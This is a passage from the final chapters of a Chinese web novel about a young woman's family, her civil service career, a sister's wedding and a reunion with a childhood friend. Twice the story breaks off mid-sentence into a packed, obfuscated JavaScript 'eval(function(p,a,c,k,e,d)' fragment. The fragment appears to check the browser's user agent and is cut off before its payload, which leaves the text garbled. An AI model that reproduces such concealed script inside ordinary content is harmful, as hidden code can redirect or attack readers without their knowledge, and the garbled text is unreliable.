陆易宁看着袋子里的土豆,敞开声问隔壁正在玩手机的陆平,“爸,你吃午饭了吗?” “没吃。” 陆易宁贴在厨房的门框上,“我们去街上吃吧。” 去饭店吃完午饭,陆易宁特意打包了一份青椒土豆丝盖饭回家。 陆平看见她将饭菜倒在家里的碗里面,不解地问:“装在塑料盒里不行吗?” “不行!”陆易宁将土豆丝盖在米饭上面,“我妈喊我中午炒土豆丝带到店里去,怎么能用塑料盒?” “哦!”陆平恍然大悟。 陆易宁端着碗去店里,刘秀珍忙完,将放工具的桌子腾出来,用来吃午饭。 赵倩从隔壁米粉店端了一碗牛肉粉过来,唏嘘道:“哎呀,还是有个女儿在身边好啊,午饭都不用做。” 陆易宁点头,“那是。” 赵倩把手里的碗小心翼翼地放在桌上,“还好郑优优在学校里吃,不然我还要回家做午饭。” “我家这个懒姑娘在家这么多天了,今天才是她做的第二顿饭。”刘秀珍坐下来,拿起筷子,还没动筷,鼻子对着饭碗闻了几下,“这是大份的还是小份的?” “炒的中份。”陆易宁脱口而出。 “你看。”刘秀珍对赵倩说:“还故意去人家餐馆里买饭来骗我。” “这家店是新开的,你怎么闻出来的?” “他家开业那天,老子是第一批客人。”刘秀珍哭笑不得,“老子啷个会生了个懒虫?跟她爸一样,大懒生小懒。” 陆易宁去饮水机旁边拿了一个塑料杯,跑去隔壁米粉店问老板娘要了一双一次性筷子回来,“我刚才在店里的饭没吃完,现在又饿了。” “来,吃我的。”赵倩夹了一筷子米粉放进她的杯子里,扭头对刘秀珍说:“你家陆七七要备考公务员,哪有时间做饭?” “公务员?”刘秀珍差点被噎着,“照她那个作息时间,一天到晚熬夜玩手机,还考公务员?我怕是考公务扁。” “你别说我哈。”陆易宁嗦了一口粉,“倩倩阿姨,我跟你说,她和我爸每天晚上大半夜看直播,嘿嘿嘿地笑,还好意思说我!” “别乱说。”刘秀珍不承认:“哪有大半夜,每天晚上十一点半我们就没玩手机了。” 陆易宁忍住笑说:“那是因为十一点二十断网。” 赵倩问:“你家每天晚上都断网吗?” “对啊,这段时间不知道怎么了,每天晚上十一点过都断网。”对于家里的网络,刘秀珍一直觉得有脏东西挨着网线,“早上七点过就来了,有几天中午才来。” 陆易宁直接笑喷了,趴在桌上哼哧哼哧笑出猪叫,“其实……其实那个网是我关的。我觉得你和我爸天天熬夜不好,所以每天晚上十一点二十就把网关了。早上定了七点的闹钟,起来把wifi打开,那几次断网断到中午是因为我起不来!” 刘秀珍拍了陆易宁的后背一巴掌,“老子就说别人家都不断网,就我们家跟半夜有鬼来趴网线一样。” “哈哈哈!”赵倩笑完,指着陆易宁说:“你看鬼就在这嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘秀珍:“你陆哥本来就把名下的土让给另外两家人种了,他突然上人家家里要土地,人家种了那么多年,肯定不愿意还回去啊。他去骂别人,在村里骂你陆哥认别人当兄弟,你陆哥一气之下把那几块风水地全卖了,宁愿拿出两万块分给种地的两家人都不分给他。” 陆易宁喝完杯里的水,“我顺枝嬢嬢和我金凤婶婶好歹在我和我姐考大学那个时候会打电话来问一下,每次樱桃和李子熟了都会喊我们去吃樱桃吃李子。我大伯,我可去他的,每次打电话来准没好屁。没说两句好话,就开始盯着我爸妈口袋里的钱了。” 赵倩说:“他要是打电话来喊你去他家吃东西,那证明盯上你更值钱的东西了。” 70.第七十章 刘秀珍嘴上说着以二女儿的作息考不了公务员,心里也知道女儿有多努力。 陆易宁觉得这辈子活得真够累的,无论做什么都需要提前很久做足准备。 幸运的是,命运馈赠了她。 她的省考笔试面试都过了。 政审过了之后,陆易宁还专门带着父母,郑松赵倩去旅游。 带着他们坐了人生第一次飞机,去江苏,去上海找陆易安,坐高铁去九寨沟,去看百里杜鹃。 旅游结束,陆易宁就去了栾安。 陆果果今年毕业,在县城里的一所幼儿园里实习,每周回家一次。 她读大一那年,陆易安买了一台电脑送给她,陆易宁买了一台相机给她拍视频。这几年,她的专业知识学了多少陆易宁不清楚,反正拍视频剪视频的手艺是学到了。一人运营几个账号,父亲的装修团队,绣鹿裁缝小店,还有姜芮的视频剪辑。 陆易宁有次查看裁缝店的主页,发现粉丝数比自己运营的时候多了六十多万,其中最火的视频是陆果果当模特,穿着战国袍拍的转场视频,三百多万点赞。 因为这个视频,后台下单人数暴增。 陆易安继续待在上海,跟第一世一样,几年前她毕业回家,后来收到面试通知去了上海,在地铁上遇见了从湖南跑去上海实习的男大,然后被要了微信。 这一次,她是素颜,对方没有问她要化妆品链接,而是问了她的名字。陆易安姓陆,他姓路。没几个月,两人就在一起了。 陆易安脾气偶尔暴躁,她的小男朋友经常被她骂哭,加了刘秀珍和陆平的微信后,私底下偷偷向刘秀珍和陆平告状。为此,受到父母问责的陆易安一回头,又吼了他一顿。 去年来家里见父母的时候,陆平不喝酒,他陪郑松在院里喝,被灌醉了,认错了岳父,抱着郑松哭着发誓说以后结婚绝不会辜负陆易安。 考公成功上岸,陆易宁再次去公司在栾安的生产基地是以相关部门工作人员的身份去的。 上一世没资格,说不上话,这一世,应该有点资格了。 不过她在部门里好像也说说不上话。 上一世举报公司后,她在公司门口看见基地负责人和相关部门的人约饭。 这一世,她目前的大领导成了饭局里的人。 依上一世的路子,公司无非是装模作样,随便整改一下,喂饱人后,该生产就生产。 陆易宁现在的部门领导是个老油子,她在人面前压根说不上话。 领导的饭已经吃了,陆易宁写的调查报告上交了没人理。没办法,只能求助周丽姐。 周丽研究生毕业,回老家结婚,他的丈夫当时在栾安某个县城的管理局的工作,现在在栾安市里。 陆易宁现在只是区里的小人物,人微言轻,市里的大领导发话,油头领导怎么着也该听一下。 万幸,大领导刚来信,陆易宁就得知前公司有人举报公司在整改期间依旧大规模生产。 大领导发话外加有人举报,这次前公司收到停工令长达三个月,不仅如此,还被重罚。 油头领导时不时对着陆易宁阴阳怪气,某些非正常人类也开始在后面摇尾巴。虽然抱了个铁饭碗,奈何抱着铁饭碗的不仅是人,还有拿铁饭碗当猪槽的猪。 部门里的大部分人都比较正常,除了极个别的炫富人才,一个快要三十,长得圆润带福相的男人。整天在办公室里视察聊天,时不时就炫耀自己新买的手机,新买的车的钥匙,或者不经意间吐露自己和市里省里的某个重要人物吃饭的事。 陆易宁听过几次,每次都纳闷,这家伙是怎么进来的?不应该呀! 而且她最近发现了,那家伙总是莫名其妙贴近自己,搁以前,他都是贴另外一个女同事的。 那个女同事有能力,又很会说话,长得还漂亮,这种人谁都喜欢跟她相处。 但是这样一个看见癞蛤蟆都能礼貌对待的人,偏偏对他的态度可谓是极其不耐烦。 陆易宁和女同事私底下吃过几次饭,曾经她也好奇过,问女同事为什么对他的态度冷冰冰的。 陆易宁一问,同事顿时觉得勺子里的炒饭不香了,“他那种草包,脑袋里面跟被狗舔过的一样,把他关猪圈里,眼睛都不会向上看。这种人多理他一下,他就直接变成苍蝇,叮了屎还来叮你。” 女同事还劝陆易宁除了工作,别和他打交道。 陆易宁后来终于明白了为什么女同事这么厌烦他。 同事考了两年才考进来,发现原来报考的岗位上坐着一只蠢猪。她可以认自己能力不如人,可是相处下来,这个大草包除了说大话炫富,什么都不会。 她恶心还来不及。 男同事经常念叨说他找女人的标准高,最低标准也是女同事那种,家世清白,有气质有学历的人。被人甩了几个月的脸子,终于换了方向,看向了陆易宁。 小妹妹能来这里,家世清白自然是不用说,家境如何不清楚,但是她读的大学好呀,以后生的孩子说不准是个天才呢。 陆易宁:离我远点! 国庆假期结束没几天,陆易宁就跑了。 刘秀珍和陆平不干扰她的任何决定,他们相信她心里有数,其实陆易宁心里也没什么底。 …… 陆易安四月份结婚,赵倩要提前给儿子女儿备着,所以两家人现在在拓建房子。 陆易宁一边投简历,一边当监工,之前有几年的工作经验,还有专利在手,今年元旦之前成功入职省会的一家研究所。 在省内工作有一个好处,想回家就回家。 从研究所去高铁站只需要坐两站地铁,坐四十分钟的高铁回家,再加上坐公交的时间,有时候甚至不用坐公交,回一趟家最多要一个半小时。 陆易宁是个不怕麻烦的人,有时候想回家吃老妈做的饭,只要工作不忙,她能每天从镇上出发去研究所上班。 四月份,两家人几乎都在忙陆易安的婚礼。 四月二十六,陆易安穿上刘秀珍给她做的缎面鱼尾婚纱出嫁。她手里的珍珠捧花是陆易宁和陆果果开了无数个蚌壳,打磨抛光无数粒珍珠才做出来的。首饰陆易宁负责买材料,陆果果负责做成饰品。 五一小长假,终于得了空,陆果果和朋友约好出去玩,陆易宁发了一堆江南美食清单给她,让她帮自己买。陆果果嘴上说着不买,实际上全是按着陆易宁给的美食清单,和朋友挨家探店。 郑乐悠现在读高中了,网上很火的火锅连锁店在县城里有了分店。五一节第二天,陆易宁带着赵倩和老妈去县城里吃火锅,顺便去一中接郑乐悠,吃完后坐公交回家。 火锅店里,调完蘸料后,服务员将点好的菜陆续端过来。 “我爸和大伯呢?”郑乐悠将土豆片最先倒进红油锅里,“他们不来吗?” “他们早来吃过了,这次特意不喊他们俩。”刘秀珍说:“我们自己吃就行。” “可是这家店才新开没多久啊?” “你爸你还不清楚?”赵倩夹了一片牛肉卷放进碗里,“他们搞装修的那帮人经常来县城里吃饭,只要开了一家新店,保准有他们的影子。” “你爸对自己比你想的好多了。”陆易宁擦掉额头的汗,赶紧喝了一口酸梅汤,压制住嘴唇内部的灼烫感,痛感还在,看来又要长溃疡了。 几人东扯西谈,从郑乐悠的月考成绩说到陆易安和她对象,再谈到在武汉五一没空回家的郑煦,扯来扯去,又扯到了陆易宁的头上。 郑乐悠比较八卦,大人们旁敲侧击,她直接问:“安安姐都结婚了,七七姐你怎么不想着谈个恋爱试试呢?” 陆易宁摇头,“没时间,不想谈。” “这事要看缘分。”刘秀珍瞭了赵倩一眼,“郑阳阳不也是没谈吗?” 赵倩笑眯眯地看着陆易宁,“对啊。” 陆易宁突然有个不好的预感,胡乱说道:“晚了,陆安安结婚了,他没机会了。” “哎哟,怎么可能是陆安安?”赵倩想到郑煦小时候被陆易安吓哭的场景,至今还能笑出来,“以前你菊萍嬢嬢骗郑阳阳,让他长大后娶你姐,吓得他哭了一下午,他怕陆安安还来不及呢。” “我妈的意思是你和我哥!”郑乐悠说:“郑阳阳也喜欢你,不过自从他大二那年有天晚上打电话给你表白,被你骂了一顿后,他就不敢了。说不定,现在还喜欢呢。” 陆易宁被辣椒呛到,一阵咳嗽,满脸通红,“滚嘞,他当时在外面喝酒,和室友口嗨,故意把我放在他们发酒疯玩游戏里的一环耍。我第二天忙着去实验室,他大半夜打电话来吵我,你说我该不该骂他?” 郑乐悠默默闭嘴。 “哎呀,那都多少年了?”赵倩满怀期待地问:“我家郑阳阳小时候是皮了点,现在也成熟多了,你觉得呢?” “不可能。”陆易宁想到和郑煦……噫……浑身起鸡皮疙瘩,“他是我看着长大的,绝对不可能!” 吃完火锅回家,坐在公交车上,郑乐悠拿出按键手机默默给郑煦发了一条消息。 郑煦开车在等红灯时,手机提示音响了,他打开手机,读了信息,脸绿得比红灯变绿还快。 【七七姐说她是看着你长大的,跟你没有一点可能。】 郑煦长长叹了一口气,“这个家伙,就不能婉转一点啊!” …… 入夏,全国大部分地方被高温烤炙,省内凉快一点,六七月份,许多省外的人不断涌过来避暑。 陆易宁的生活很单一,上班回家,或者回出租屋,唯一的外出活动就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对啊!后来我问她要你的微信,本想着这次回来先去风阳镇的,但是她说你在市里,我就先来找你了。” “这样啊!”陆易宁问:“这些年你在浙江看来过得挺开心的呀?” “还行。”李圆圆唉了一声,“要是我早知道你和我是一所学校的,我大一那年就该去找你。” “嗯?”陆易宁惊了一跳,“你也是浙……” “对啊!”李圆圆笑着说:“我进大学那年,你忙着毕业,我们俩还是同一个校区的。都怪我经常宅在宿舍不常出去,我和你居然没碰过一次面。我当时压根不知道你和我是一所学校的,直到后来我帮我男友改论文格式,看见他引用了你写的论文,我去学校的官网上搜,搜到了你以前比赛得奖的照片,可是那时我都大三了。” “天啦!”陆易宁两手撑着脑袋,“果然没听错,我记得我离校之前还在食堂门口听见有人喊李圆圆这个名字,我还以为是同名同姓呢。” “很可能那就是我。”李圆圆问:“七七姐,你现在在做什么工作?” “就是在一家研究所里混日子,你呢?” “我申请来这边的分公司上班,以后打算长住在这里。” “哦。”陆易宁有些八卦地问:“那你男朋友也在这吗?” “我现在的男朋友在长沙上班,离这挺近的。” “确实,比起杭州,这里的确要近一点。”陆易宁脑子抽了,又问:“你妈和你哥支持你回来吗?” “他们早就不管我了。”李圆圆平静地说:“我想继续读高中,我妈不允许我读,从我高一下学期她就不想管我了。” 陆易宁有些心酸,“那……你哥呢?” 李圆圆翻了个白眼,“就是因为我哥读的学校学费贵,他才不想让我读书的。” “那你读书期间……很难熬吧?” “刚开始是有点。”李圆圆也没想到自己能有一天能如此轻松地说出来,“还好我用过我同学的ipad画过画做过兼职,我奶奶过世那年我没能回来,她给我留了一点钱,通过我姑父的手带到浙江给我。我买了一个二手平板,接单给人画画存钱,后来画出点成绩,勉强能凑个学费。” 陆易宁一脸心疼,“那你现在呢?” “我现在好多了。”李圆圆轻松地说:“我主业在一家公司里做数据分析,副业的收入也比较乐观。所以说,我这辈子活到现在还不错。” 陆易宁松了一口气,“那就好。” 李圆圆笑得明媚,“七七姐,我现在也长成你以前说的那种大人了。” 陆易宁拿起面前的杨枝甘露去碰她的奶茶杯,“恭喜!” (全文完)